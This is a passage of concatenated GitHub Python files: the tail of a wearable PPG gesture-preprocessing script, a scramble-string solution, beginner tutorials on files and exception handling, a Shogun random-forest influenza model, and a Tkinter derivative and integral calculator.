(pointstartindex+350)<len(ppgx):\n\t\t\tppgx=ppgx[pointstartindex:pointstartindex+300]\n\t\t\tppgy=ppgy[pointstartindex:pointstartindex+300]\n\t\t\t\n\t\t\taccx=accx[pointstartindex:pointstartindex+300]\n\t\t\taccy=accy[pointstartindex:pointstartindex+300]\n\t\t\taccz=accz[pointstartindex:pointstartindex+300]\n\n\t\t\tgyrx=gyrx[pointstartindex:pointstartindex+300]\n\t\t\tgyry=gyry[pointstartindex:pointstartindex+300]\n\t\t\tgyrz=gyrz[pointstartindex:pointstartindex+300]\n\t\telse:\n\t\t\ttag=0\n\n\t\t# ppgx=IAtool.sequence_to_300(ppgx[pointstartindex:pointendindex])\n\t\t# ppgy=IAtool.sequence_to_300(ppgy[pointstartindex:pointendindex])\n\t\t\n\t\t# accx=IAtool.sequence_to_300(accx[pointstartindex:pointendindex])\n\t\t# accy=IAtool.sequence_to_300(accy[pointstartindex:pointendindex])\n\t\t# accz=IAtool.sequence_to_300(accz[pointstartindex:pointendindex])\n\n\t\t# gyrx=IAtool.sequence_to_300(gyrx[pointstartindex:pointendindex])\n\t\t# gyry=IAtool.sequence_to_300(gyry[pointstartindex:pointendindex])\n\t\t# gyrz=IAtool.sequence_to_300(gyrz[pointstartindex:pointendindex])\n\treturn tag,ppgx,ppgy,accx,accy,accz,gyrx,gyry,gyrz\n\n\n#提取手势的具体数据段\ndef all_data(datadir):\n\toridataspace=os.listdir(datadir)\n\tobjnum=0\n\tfor filedirs in oridataspace:\t\n\t\tdataset=[]\n\t\tfiledir=datadir+str(filedirs)+'/'\n\t\tfilespace=os.listdir(filedir)\n\t\tfor file in filespace:\t\n\t\t\tfilepath=filedir+str(file)\n\t\t\tprint(filepath)\n\t\t\ttag,ppgx,ppgy,accx,accy,accz,gyrx,gyry,gyrz=single_data(filepath)\n\t\t\tif tag==1:\n\t\t\t\ttemp=[]\n\t\t\t\ttemp.append(ppgx)\n\t\t\t\ttemp.append(ppgy)\n\n\t\t\t\ttemp.append(accx)\n\t\t\t\ttemp.append(accy)\n\t\t\t\ttemp.append(accz)\n\n\t\t\t\ttemp.append(gyrx)\n\t\t\t\ttemp.append(gyry)\n\t\t\t\ttemp.append(gyrz)\n\n\t\t\t\tdataset.append(temp)\n\t\tprint(\"第\",(objnum+1),\"个手势的样本数：\",len(dataset))\n\t\tobjnum=objnum+1\t\n\t\tfilecontrol.datawrite(dataset,filedirs)\n\n\n\n\n# python提取单个行为中手势段的特征\ndef single_feature(filepath):\n\n\tppgx,ppgy,accx,accy,accz,gyrx,gyry,gyrz,ppgtime,acctime,gyrtime=filecontrol.orisegmentread(filepath)\n\tif len(ppgx)<800:\n\t\ttag=0\n\t\ttempfeature=[]\n\t\treturn tag,tempfeature\n\n\torippgx=meanfilt(ppgx,20)\n\torippgy=meanfilt(ppgy,20)\n\n\t# accx=meanfilt(accx,20)\n\t# accy=meanfilt(accy,20)\n\t# accz=meanfilt(accz,20)\n\n\t# gyrx=meanfilt(gyrx,20)\n\t# gyry=meanfilt(gyry,20)\n\t# gyrz=meanfilt(gyrz,20)\n\n\tbutterppgx=highpass(2,200,orippgx)\n\tbutterppgy=highpass(2,200,orippgy)\n\n\ticappgx,icappgy=IAtool.ppgfica(butterppgx,butterppgy)\n\ticappgx,icappgy=IAtool.ppgfica(icappgx,icappgy)\n\t\n\t# orippgx=minmaxscale(orippgx)\n\t# orippgx=standardscale(orippgx)\n\t# tag=MAfind.coarse_grained_detect(orippgx)\n\t# print(tag)\n\ttag,pointstartindex,pointendindex=MAfind.fine_grained_segment(icappgx,200,0.03)#0.03,1\n\t# tag,pointstartindex,pointendindex=MAfind.fine_grained_segment_2(icappgx,200,0.03)#python 的ica是0.03,android的是1\n\t# tag,pointstartindex,pointendindex=MAfind.fine_grained_segment_4(icappgx,200,0.03)#python 的ica是0.03,android的是1\n\n\tprint(tag,pointstartindex,pointendindex)\n\t# mixindexpicshow(orippgx,icappgx)\n\n\t# orippgx=standardscale(orippgx)\n\t# orippgy=standardscale(orippgy)\n\t# accx=standardscale(accx)\n\t# accy=standardscale(accy)\n\t# accz=standardscale(accz)\n\t# gyrx=standardscale(gyrx)\n\t# gyry=standardscale(gyry)\n\t# gyrz=standardscale(gyrz)\n\n\ttempfeature=[]\n\t# if tag==1:\n\t# \ttemp=featurecontrol.ppg_feature(orippgx[pointstartindex:pointendindex])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\t# \ttemp=featurecontrol.ppg_feature(orippgy[pointstartindex:pointendindex])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\n\t# \ttemp=featurecontrol.motion_feature(accx[int((pointstartindex)/2):int((pointendindex)/2)])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\n\t# \ttemp=featurecontrol.motion_feature(accy[int((pointstartindex)/2):int((pointendindex)/2)])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\n\t# \ttemp=featurecontrol.motion_feature(accz[int((pointstartindex)/2):int((pointendindex)/2)])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\n\t# \ttemp=featurecontrol.motion_feature(gyrx[int((pointstartindex)/2):int((pointendindex)/2)])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\n\t# \ttemp=featurecontrol.motion_feature(gyry[int((pointstartindex)/2):int((pointendindex)/2)])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\n\t# \ttemp=featurecontrol.motion_feature(gyrz[int((pointstartindex)/2):int((pointendindex)/2)])\n\t# \tfor i in temp:\n\t# \t\ttempfeature.append(i)\n\treturn tag,tempfeature\n\n#提取手势具体数据段的特征\ndef all_feature(datadir):\n\toridataspace=os.listdir(datadir)\n\tobjnum=0\n\tfeaturenumset=[]\n\tfor filedirs in oridataspace:\t\n\t\tfeatureset=[]\n\t\tfiledir=datadir+str(filedirs)+'/'\n\t\tfilespace=os.listdir(filedir)\n\t\tfor file in filespace:\t\n\t\t\tfilepath=filedir+str(file)\n\t\t\tprint(filepath)\n\t\t\ttag,tempfeature=single_feature(filepath)\n\t\t\tif tag==1:\n\t\t\t\tfeatureset.append(tempfeature)\n\t\tprint(\"第\",(objnum+1),\"个手势的样本数：\",len(featureset))\n\t\tfeaturenumset.append(len(featureset))\n\t\tobjnum=objnum+1\n\t\tfilecontrol.featurewrite(featureset,filedirs)\n\n\tprint(\"每个类别的样本数：\",featurenumset)\n\n#从已提取到的手势段数据中统计特征\ndef renew_feature():\n\tdatadirpath='./selected/madata/'\n\tfilespace=os.listdir(datadirpath)\n\tfor file in filespace:\t\n\t\tdataset=[]\n\t\tfilepath=datadirpath+str(file)\n\t\tprint(filepath)\n\t\tinputfile=open(filepath,'r+')\n\t\ttemp=[]\n\t\tfor i in inputfile:\n\t\t\ti=list(eval(i))\n\t\t\ttemp.append(i)\n\t\t\tif len(temp)==8:#2代表仅录入ppg信号，8代表录入ppg信号和2个行为传感器信号\n\t\t\t\tif len(temp[0])<500:\n\t\t\t\t\ttemp=np.array(temp)\n\t\t\t\t\tdataset.append(temp)\n\n\t\t\t\t# \tdataset.append(temp[:,:300])\n\t\t\t\t# dataset.append(temp)\n\t\t\t\ttemp=[]\n\t\tinputfile.close()\n\t\tfeature=[]\n\t\tfor i in range(len(dataset)):\n\t\t\ttemp=[]\n\t\t\t# print(len(dataset[i][0]),len(dataset[i][0]))\n\t\t\t# temp=temp+featurecontrol.ppg_feature(dataset[i][0])\n\t\t\t# temp=temp+featurecontrol.ppg_feature(dataset[i][1])\n\n\t\t\t# temp=temp+featurecontrol.motion_feature(dataset[i][2])\n\t\t\t# temp=temp+featurecontrol.motion_feature(dataset[i][3])\n\t\t\t# temp=temp+featurecontrol.motion_feature(dataset[i][4])\n\t\t\t# temp=temp+featurecontrol.motion_feature(dataset[i][5])\n\t\t\t# temp=temp+featurecontrol.motion_feature(dataset[i][6])\n\t\t\t# temp=temp+featurecontrol.motion_feature(dataset[i][7])\n\t\t\t# print(len(temp))\n\t\t\tfeature.append(temp)\n\t\t\tfilenames=str(file).replace(\"csv\",\"\")\n\t\tfilecontrol.featurewrite(feature,filenames)\n\n\n","repo_name":"jyly/wearia-code","sub_path":"gestureIA_python/wear_data_preprocess.py","file_name":"wear_data_preprocess.py","file_ext":"py","file_size_in_byte":8300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39410260803","text":"\"\"\"\nGiven a string s1, we may represent it as a binary tree by partitioning it to two non-empty substrings recursively.\nBelow is one possible representation of s1 = \"great\":\n    great\n   /    \\\n  gr    eat\n / \\    /  \\\ng   r  e   at\n           / \\\n          a   t\nTo scramble the string, we may choose any non-leaf node and swap its two children.\nFor example, if we choose the node \"gr\" and swap its two children, it produces a scrambled string \"rgeat\".\n    rgeat\n   /    \\\n  rg    eat\n / \\    /  \\\nr   g  e   at\n           / \\\n          a   t\nWe say that \"rgeat\" is a scrambled string of \"great\".\nSimilarly, if we continue to swap the children of nodes \"eat\" and \"at\", it produces a scrambled string \"rgtae\".\n    rgtae\n   /    \\\n  rg    tae\n / \\    /  \\\nr   g  ta  e\n       / \\\n      t   a\nWe say that \"rgtae\" is a scrambled string of \"great\".\nGiven two strings s1 and s2 of the same length, determine if s2 is a scrambled string of s1.\nExample 1:\nInput: s1 = \"great\", s2 = \"rgeat\"\nOutput: true\nExample 2:\nInput: s1 = \"abcde\", s2 = \"caebd\"\nOutput: false\n\"\"\"\n\"\"\"\nAlgorithm:\nrecursively call isScramble(s1[:i], s2[:i]) and isScramble(s1[i:], s2[i:]),\n                    if both true, return true\n                 isScramble(s1[:i], s2[s2.length - i:]) and isScramble(s1[i:], s2[:s2.length - i]),\n                    if both true, return true\nElse: return false\nDeclare a map {(s1, s2): bool} to memorize valid substring paris from s1 and s2.\nCheck (s1, s2) in map in the beginning of the function: if find it, return map[(s1, s2)]\nPrunning by check len(s1) == len(s2) and sorted(s1) == sorte(s2)\n\"\"\"\n\"\"\"\n@param {str} s1\n@param {str} s2\n@return {bool}\n\"\"\"\nclass Solution:\n    def __init__(self):\n        self.map = {} # key: (s1, s2), value: bool\n\n    def isScramble(self, s1, s2):\n        if (s1, s2) in self.map:\n            return self.map[(s1, s2)]\n\n        if len(s1) != len(s2):\n            # Memorization\n            self.map[(s1, s2)] = False\n            return False\n\n        if s1 == s2:\n            # Memorization\n            self.map[(s1, s2)] = True\n            return True\n\n        # Prunning\n        if sorted(s1) != sorted(s2):\n            # Memorization\n            self.map[(s1, s2)] = False\n            return False\n\n        # i starts from 1, otherwise s[0:0] causes RecursionError\n        for i in range(1, len(s1)):\n            if self.isScramble(s1[:i], s2[:i]) and self.isScramble(s1[i:], s2[i:]):\n                return True\n\n            if self.isScramble(s1[:i], s2[len(s2)-i:]) and self.isScramble(s1[i:], s2[:len(s2)-i]):\n                return True\n\n        # Memorization\n        self.map[(s1, s2)] = False\n        return False\n","repo_name":"sainik-khaddar/CodeHUB","sub_path":"87 Scramble String/Scramble_String.py","file_name":"Scramble_String.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"60"}
+{"seq_id":"72440142590","text":"'''\r\n- File is the collection of data that is available to a program.\r\n- We can retrieved and use data Store in a file Whenever we required.\r\n\r\n--> Advantages :-\r\n    - Stored data is permanent unless someone remove it.\r\n    - stored data can be shared.\r\n    - it is possible to update or remove the data.\r\n\r\n- There are two type of files:-\r\n     - Text File :-\r\n              It Store data in the form of character. it is used to store characters and strings.\r\n     - Binary File :-\r\n              It Stored data in the form of bytes, a group of 8 bit each. It is used to store text, images, pdf, csv,\r\n              video and audio.\r\n'''\r\n\r\nf = open('student.txt', mode='w')        # 'w' means Written mode open.\r\nf.write('my name is tejas')\r\nf.close()\r\n\r\nf = open('student.txt', mode='r')        # 'r' means Read mode open.\r\nprint(f.read())\r\nf.close()","repo_name":"tejasgondaliya5/advance-python","sub_path":"Files/information_Files.py","file_name":"information_Files.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74212370751","text":"\"\"\"\nTry / Except / Else / Finally\n\nDica de quando e onde tratar código:\n\nTODA ENTRADA DEVE SER TRATADA!\nVocê é responsável pelas entradas das suas funções.\nOBS: A função do usuário é DESTRUIR seu sistema.\n\n# Else -> É executado somente se não ocorrer o erro\ntry:\n    num = int(input('Informe um número: '))\n    print(f'Voce digitou {num}')\nexcept ValueError:\n    print('Valor incorreto!')\nelse:\n    print('Entrando no Else')\n\n# Finally\n# OBS: O bloco finally é sempre executado. Independente se houve exceção ou não.\n# Finally geralmente é utilizado para fechar ou deslocar recursos.\ntry:\n    num = int(input('Informe o número: '))\nexcept ValueError:\n    print('Voce digitou um valor inválido')\nelse:\n    print(f'Voce digitou {num}')\nfinally:\n    print('Executando o finally')\n\n# Exemplo mais complexo - Forma Genérica\ndef dividir(a, b):\n    try:\n        return int(a) / int(b)\n    except:\n        return 'Voce digitou valor errado!'\n\nnum1 = input('Informe o primeiro número: ')\nnum2 = input('Informe o segundo número: ')\nprint(dividir(num1, num2))\n\n# Mais simples, mas não tem o tratamento exclusivo para os erros que existem\n\n# Exemplo mais complexo - Forma Semi-Genérico\ndef dividir(a, b):\n    try:\n        return int(a) / int(b)\n    except (ValueError, ZeroDivisionError) as err:\n        return f'Voce digitou valor errado! {err}'\n\nnum1 = input('Informe o primeiro número: ')\nnum2 = input('Informe o segundo número: ')\nprint(dividir(num1, num2))\n\n\n\"\"\"\n# Exemplo mais complexo - Forma Pythonica\ndef dividir(a, b):\n    try:\n        return int(a) / int(b)\n    except ZeroDivisionError:\n        return 'Não é possível realizar divisão por zero. \\nDigite outro número!'\n    except ValueError:\n        return 'Voce digitou valor errado!\\n O valor precisa ser numérico.'\n\nnum1 = input('Informe o primeiro número: ')\nnum2 = input('Informe o segundo número: ')\nprint(dividir(num1, num2))\n\n\n\n\n\n\n\n","repo_name":"JoaoPAmbrosio/Python_Learnings","sub_path":"pyf_52_else_finally.py","file_name":"pyf_52_else_finally.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19243895794","text":"\"\"\"\n  @file model.py\n  @author Tej Sukhatme\n\n  Linear Ridge Regression.\n\"\"\"\nimport logging\nimport numpy as np\nimport shogun as sg\nfrom .. import config\nfrom . import util\n\n\nclass Model:\n    def __init__(self):\n        logging.basicConfig(filename=config.LOG_FILENAME, level=logging.INFO)\n        sg.env().signal().enable_handler(False)\n        self.random_forest = {}\n\n    def train(self):\n\n        logging.info('training model')\n        for country in config.COUNTRIES:\n            logging.info('training '+country)\n            x_train_file_path = config.processed_data_path / (\n                    country + '_features.csv')\n            y_train_file_path = config.processed_data_path / (\n                        country + '_labels.csv')\n            features_train = sg.create_features(util.load(x_train_file_path).T)\n            labels_train = sg.create_labels(\n                    util.load(y_train_file_path, is_labels=True))\n\n            mean_rule = sg.create_combination_rule(\"MeanRule\")\n            rand_forest = sg.create_machine(\"RandomForest\",\n                                            labels=labels_train,\n                                            num_bags=5, seed=1,\n                                            combination_rule=mean_rule)\n\n            rand_forest.train(features_train)\n\n            self.random_forest[country] = rand_forest\n\n    def apply(self, country, df):\n        # apply trained model on data\n        # create features\n        logging.info('Applying model.')\n        X = df.values.astype(float)\n        sg_features = sg.create_features(X.T)\n\n        # apply Random Forest Model\n        sg_labels = self.random_forest[country].apply_regression(sg_features)\n        logging.info('Model applied')\n        estimate = sg_labels.get(\"labels\")\n        logging.info('predicted value for '+country+' is '+str(estimate))\n        return estimate\n\n","repo_name":"shogun-toolbox/applications","sub_path":"gsoc_application_projects/2020/influenza/web/influenza_estimator/random_forest/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"72644398591","text":"#Kais Kudrolli, kkudroll\n#15-112, Section C, Term Project\n#This file handles the user input and creates the main user interface\n#of the calculator\n\nimport matplotlib.pyplot as plt\nfrom pylab import *\nimport Tkinter as tk\nimport tkSimpleDialog\nimport tkMessageBox\nfrom Functions import *\nfrom Graphing import *\nimport HelpScreens as hlp\n\ndef buttonPressedZoom(lowerCanvas):\n    #called when zoom button is pressed\n    box = ZoomBox(lowerCanvas)\n    start = box.start\n    end = box.end\n    steps = box.steps\n    #sets new domain\n    if((start != None) and (end != None)):\n        lowerCanvas.data.domain = linspace(start,end,steps,endpoint=True)\n        plt.clf()\n        buttonPressedGraph(lowerCanvas)\n\ndef buttonPressedSymbolDerivative(lowerCanvas):\n    #called when the symbolic derivative button is pressed\n    derivativeRootNode = FunctionNode(0, None)\n    #gets the root node from ButtonFactory's functionNodeList\n    functionRootNode = ButtonFactory.functionNodeList[0]\n    \n    if(functionRootNode.arg1 != None):\n        #performs the symbolic derivatie if there is an argument\n        arg1 = functionRootNode.arg1\n        derivativeRootNode.arg1 = arg1.symbolicDerivative(derivativeRootNode)\n        if(derivativeRootNode.arg1 != None):\n            #prints the symbolic derivative to the canvas\n            derivativeString = (\"f'(x) = \" +\n            derivativeRootNode.arg1.trim(derivativeRootNode).__repr__())\n            cx = lowerCanvas.data.width/2.0\n            cy = (3.0)*lowerCanvas.data.height/4.0\n            width = lowerCanvas.data.width\n            margin = lowerCanvas.data.width/5.0\n            lowerCanvas.create_text(cx,cy,text = derivativeString,\n                                    width = width-margin,fill = \"white\")\n    \ndef buttonPressedIntegral(canvas):\n    #called when the integral button is pressed\n    xVals = canvas.data.domain\n    \n    try:\n        #integrate the function and graphs the integral\n        (newDomain, yVals) = ButtonFactory.functionNodeList[0].integrate(xVals)\n        gr = Graph(newDomain,yVals)\n        gr.drawGraph(\"F(x)\")\n    except TypeError:\n        #catches a type error\n        pass\n\ndef buttonPressedDerivative(canvas):\n    #called if the derivative button is pressed\n    xVals = canvas.data.domain\n    #differentiates the function numerically and graphs the derivative\n    yVals = ButtonFactory.functionNodeList[0].differentiate(xVals)\n    gr = Graph(xVals,yVals)\n    gr.drawGraph(\"f'(x)\")\n\ndef drawEmptyGraph():\n    #draws an empty graph\n    \n    #draws the point (0,0) which is imperceptible, looks like an empty graph\n    xVals = np.array([0])\n    yVals = np.array([0])\n    gr = Graph(xVals,yVals)\n    gr.drawGraph(\"\")\n\ndef buttonPressedClear(upperCanvas,lowerCanvas):\n    #called if the clear button is pressed\n    #clears the graph and the function\n    rootNode = FunctionNode(0, None)\n    #resets the fucntionNodeList in ButtonFactory to just the root node\n    ButtonFactory.functionNodeList = [rootNode]\n    #clears the text in the lower canvas\n    lowerCanvas.delete(tk.ALL)\n    createBackground(upperCanvas, lowerCanvas)\n    #clears the plot figure\n    plt.clf()\n    drawEmptyGraph()\n    \ndef buttonPressedGraph(canvas):\n    #called if the graph button is pressed\n    xVals = canvas.data.domain\n    #evaluates the function on the given domain and graphs the points\n    yVals = ButtonFactory.functionNodeList[0].eval(xVals)\n    gr = Graph(xVals,yVals)\n    gr.drawGraph(\"f(x)\")\n    \ndef buttonPressedHelp():\n    #launches the help box\n    hlp.showHelpBox()\n\ndef initButtonLabelList():\n    #returns a list of button labels\n    return [\"x\",\"a/b\",\"sin(x)\",\"cos(x)\",\"tan(x)\",\"arcsin(x)\",\"arccos(x)\",\n            \"arctan(x)\",\"a^b\",\"log(x)\",\"ln(x)\",\"a+b\",\"a-b\",\"a*b\",\"constant\"]\n\ndef createButton(canvas,text,command, row, col):\n    #draws a button on the canvas, based on given inputs\n    button = tk.Button(canvas,text=text, command=command,\n                       bg=\"orange\",fg=\"blue\",font=\"Arial 12 bold\",\n                    activebackground = \"blue\",activeforeground =\"orange\")\n    button.pack()\n    button.grid(row = row, column = col, sticky=tk.W+tk.E)\n\ndef otherButtonLabelDictGenerator(upperCanvas,lowerCanvas):\n    #creates  dictionary of buttonPresseds mapped to labels\n    \n    #create wrapper functions\n    def buttonPressedGraphWrapper():\n        buttonPressedGraph(lowerCanvas)\n    \n    def buttonPressedDerivativeWrapper():\n        buttonPressedDerivative(lowerCanvas)\n        \n    def buttonPressedIntegralWrapper():\n        buttonPressedIntegral(lowerCanvas)\n    \n    def buttonPressedClearWrapper():\n        buttonPressedClear(upperCanvas,lowerCanvas)\n        \n    def buttonPressedSymbolDerivativeWrapper():\n        buttonPressedSymbolDerivative(lowerCanvas)\n    \n    def buttonPressedZoomWrapper():\n        buttonPressedZoom(lowerCanvas)\n        \n    return {\"Graph\":buttonPressedGraphWrapper,\n                            \"Differentiate\":buttonPressedDerivativeWrapper,\n                            \"Integrate\":buttonPressedIntegralWrapper,\n                            \"Symbolic Derivative\":\n                                buttonPressedSymbolDerivativeWrapper,\n                            \"Help\": buttonPressedHelp,\n                            \"Clear\": buttonPressedClearWrapper,\n                            \"Change Domain\": buttonPressedZoomWrapper}\n\ndef createBackground(upperCanvas, lowerCanvas):\n    #creates the backgound image\n    \n    #sets background color to black\n    upperCanvas.create_rectangle(0,0,upperCanvas.data.width,\n                                 upperCanvas.data.height,fill = \"black\")\n    lowerCanvas.create_rectangle(0,0,lowerCanvas.data.width,\n                                 lowerCanvas.data.height,fill = \"black\")\n    \ndef init(canvas,lowerCanvas,buttonFrame): \n    #initializes the main calculator screen\n    \n    createBackground(canvas, lowerCanvas)\n    \n    buttonLabelList = initButtonLabelList()\n    rows = 5\n    cols = 5\n    #loop creates buttons for all the labels in the buttonLabelList\n    for i in xrange(len(buttonLabelList)):\n        row = i % rows\n        col = i / cols\n        button = ButtonFactory()\n        ButtonFactory.makeButton(canvas, buttonFrame,lowerCanvas,\n                                 buttonLabelList[i],row,col)\n    \n    otherButtonLabelDict = otherButtonLabelDictGenerator(canvas,lowerCanvas)\n    counter = 0\n    \n    #create buttons for the functionalities\n    for key in otherButtonLabelDict.keys():\n        row = counter % rows\n        col = 3 + (counter / cols)\n        text = key\n        command = otherButtonLabelDict[key]\n        createButton(buttonFrame,text,command,row,col)\n        counter += 1\n    #align the buttons to the left\n    buttonFrame.pack(side=tk.LEFT)\n    \n    #show help box initially\n    buttonPressedHelp()\n\ndef confirmClose(root):\n    #confirms that the user wants to exit the program\n    message = \"Are you sure you would like to quit?\"\n    title = \"Confirm Quit\"\n    response = tkMessageBox.askquestion(title, message)\n    if(str(response) == \"yes\"):\n        plt.close()\n        root.destroy()\n\ndef formatRoot(root,initialPositionX, initialPositionY):\n    #sets up root window and calls the main loop\n    def confirmCloseWrapper():\n        confirmClose(root)\n    #when the X in the corner is pressed, a fucntion is called to confirm\n    #closing the window\n    root.protocol('WM_DELETE_WINDOW', confirmCloseWrapper)\n    #makes window not resizable\n    root.resizable(width=0, height=0)\n    #sets the initial position of the window\n    root.geometry('+' + str(initialPositionX) + '+' + str(initialPositionY))\n    root.title(\"Derivative and Integral Calculator\")\n    root.mainloop()\n\ndef initCanvasData(upperCanvas,lowerCanvas,width,height):\n    #initiates the data in the canvas Structs\n    upperCanvas.data.width = width\n    upperCanvas.data.height = height\n    lowerCanvas.data.width = width\n    lowerCanvas.data.height = height\n    lowerCanvas.data.domain = linspace(0, 2*np.pi, 256,endpoint=True)\n    \ndef run():\n    # create the root and the canvases\n    root = tk.Tk()\n    width = 500\n    height = 200\n    initialPositionX = 100\n    initialPositionY = 180\n    upperCanvas = tk.Canvas(root,width = 500, height = 500)\n    upperCanvas.pack()\n    lowerCanvas = tk.Canvas(root,width = 500, height = 200)\n    lowerCanvas.pack()\n    \n    #sets up frame for buttons\n    buttonFrame = tk.Frame(upperCanvas)\n    \n    # Set up canvas data and call init\n    class StructUpper: pass\n    upperCanvas.data = StructUpper()\n    class StructLower: pass\n    lowerCanvas.data = StructLower()\n    \n    initCanvasData(upperCanvas,lowerCanvas,width,height)\n    init(upperCanvas,lowerCanvas,buttonFrame)\n    formatRoot(root,initialPositionX, initialPositionY)\n\nclass ButtonFactory(object):\n    #class variable, holds all the nodes in the tree\n    rootNode = FunctionNode(0, None)\n    functionNodeList = [rootNode] #initially has root node\n    \n    @classmethod\n    def makeButton(cls, canvas, containerFrame, eqCanvas, text, row, col):\n        #creates the button\n        \n        #dictionary of all the button labels with their corresponding functions\n        buttonLabelDict = {\"x\":\"x\",\"a/b\":\"/\",\"sin(x)\":np.sin,\"cos(x)\":np.cos,\n                           \"tan(x)\":np.tan,\"arcsin(x)\":np.arcsin,\n                           \"arccos(x)\":np.arccos,\"arctan(x)\":np.arctan,\n                           \"a^b\":\"^\",\"log(x)\":np.log10,\"ln(x)\":np.log,\n                           \"a+b\":\"+\",\"a-b\":\"-\",\"a*b\":\"*\"}\n        \n        def areArgsLeft(node):\n            #checks if there are open children at a node of the function tree\n            unaryFunctions = [np.sin,np.cos,np.tan,np.arcsin,\n                              np.arccos,np.arctan,np.log10,np.log]\n            binaryFunctions = [\"^\",\"+\",\"-\",\"*\",\"/\"]\n            \n            #checks if the function is x or a constant (stored in a list)\n            if((node.evalFunction==\"x\") or (type(node.evalFunction)==list)):\n                return False\n            #if its a unary function is its only child unfilled\n            elif(((node.evalFunction in unaryFunctions) == True) and\n                (node.arg1 != None)):\n                return False\n            #if its a binary function, checks if either child is unfilled\n            elif(((node.evalFunction in binaryFunctions) == True) and\n                (node.arg1 != None) and (node.arg2 != None)):\n                return False\n            else:\n                return True\n        \n        def updateEquationText():\n            #updates the text on the canvas displaying the function\n            rootNode = ButtonFactory.functionNodeList[0]\n            #gets the string representation of function\n            equationString = (\"f(x) = \" +\n                              ButtonFactory.functionNodeList[0].__repr__())\n            #deletes the existing text and creates the new text\n            eqCanvas.delete(tk.ALL)\n            cx = eqCanvas.data.width/2.0\n            cy = eqCanvas.data.height/4.0\n            width = eqCanvas.data.width\n            height = eqCanvas.data.height\n            margin = eqCanvas.data.width/5.0\n            createBackground(canvas, eqCanvas)\n            eqCanvas.create_text(cx,cy,text=equationString,\n                                 width = width-margin,fill = \"white\")\n        \n        def isIncomplete():\n            #determines if function can take more arguments\n            return True\n            \n        def buttonPressed():\n            #called if a button is pressed\n            \n            #removes nodes from the node list until the last node in the list\n            #has available children\n            for node in ButtonFactory.functionNodeList[::-1]:\n                if(areArgsLeft(node) == True):\n                    break\n                else:\n                    ButtonFactory.functionNodeList.remove(node)\n            #catches index error that occurs when no children are available\n            #and a button is pressed\n            try:        \n                parent = ButtonFactory.functionNodeList[-1]\n            except IndexError:\n                return\n            \n            #prompts user to input constant if the constant button is pressed\n            if(text == \"constant\"):\n                argument = []\n                child = FunctionNode(argument,parent)\n                InputBox(canvas,argument)\n            else: \n                child = FunctionNode(buttonLabelDict[text],parent)\n            \n            #sets the new node as a child of another node    \n            if(parent.arg1 == None):\n                parent.setArg1(child)\n            else:\n                parent.setArg2(child)\n                \n            #adds the new node to the node list\n            if(isIncomplete() == True):\n                ButtonFactory.functionNodeList.append(child)\n                updateEquationText()\n            \n        #calls the super class' constructor     \n        button = tk.Button(containerFrame, text=text, command=buttonPressed,\n                           bg=\"orange\",fg=\"blue\",font=\"Arial 12 bold\",\n                    activebackground = \"blue\",activeforeground =\"orange\")\n        #places the button a grid\n        button.grid(row = row, column = col, sticky=tk.W+tk.E)\n        \nclass InputBox(tkSimpleDialog.Dialog):\n    #class that creates an input box\n    \n    def __init__(self, master, argument):\n        #constructor method\n        self.master = master\n        self.argument = argument\n        self.entry = None\n        #calls super class init\n        tkSimpleDialog.Dialog.__init__(self, master)\n        \n    def body(self, master):\n        #creates body of box\n        tk.Label(master, text=\"Constant:\").grid(row=1)\n        self.entry = tk.Entry(master)\n        self.entry.grid(row=1, column=1)\n        return self.entry\n    \n    def apply(self):\n        #handles input given to the box\n        try:\n            #gets the value entered by the user and stores it\n            entry = self.entry.get()\n            value = float(entry)\n            self.argument.append(value)\n        except ValueError:\n            #catches invalid input and makes the user re-input a value\n            message = \"\"\"\n            Your input was invalid.\n            Enter a decimal or integer.\n            \"\"\"\n            title = \"Invalid Input\"\n            response = tkMessageBox.showerror(title, message)\n            #creates a new input box\n            InputBox(self.master, self.argument)\n    \nclass ZoomBox(tkSimpleDialog.Dialog):\n    #class that creates a box for user to input the bounds of a new domain to zoom \n    \n    def __init__(self, master):\n        self.master = master\n        self.entry1 = None\n        self.entry2 = None\n        self.start = None\n        self.end = None\n        self.steps = 600 #constant number of steps\n        #call super class constructor\n        tkSimpleDialog.Dialog.__init__(self, master)\n        \n    def body(self, master):\n        #creates body of the box\n        tk.Label(master, text=\"Enter new domain endpoints\").grid(row=0)\n        tk.Label(master, text=\"Start:\").grid(row=1)\n        tk.Label(master, text=\"End:\").grid(row=2)\n        self.entry1 = tk.Entry(master)\n        self.entry2 = tk.Entry(master)\n        self.entry1.grid(row=1, column=1)\n        self.entry2.grid(row=2, column=1)\n        return self.entry1\n    \n    def apply(self):\n        #handles user input into box\n        try:\n            #gets the value entered by the user and stores it\n            self.start = float(self.entry1.get())\n            self.end = float(self.entry2.get())\n        except ValueError:\n            #catches invalid input and makes the user re-input a value\n            message = \"\"\"\n            Your input was invalid.\n            Enter decimals or integers.\n            \"\"\"\n            title = \"Invalid Input\"\n            response = tkMessageBox.showerror(title, message)\n            #creates a new zoom box\n            ZoomBox(self.master)\n        #checks if the end is greater than the start\n        if(self.start >= self.end):\n            message = \"\"\"\n            Your end must be greater than your start.\n            \"\"\"\n            title = \"Invalid Input\"\n            response = tkMessageBox.showerror(title, message)\n            #creates a new zoom box\n            ZoomBox(self.master)\n        \n\n    \n    \n    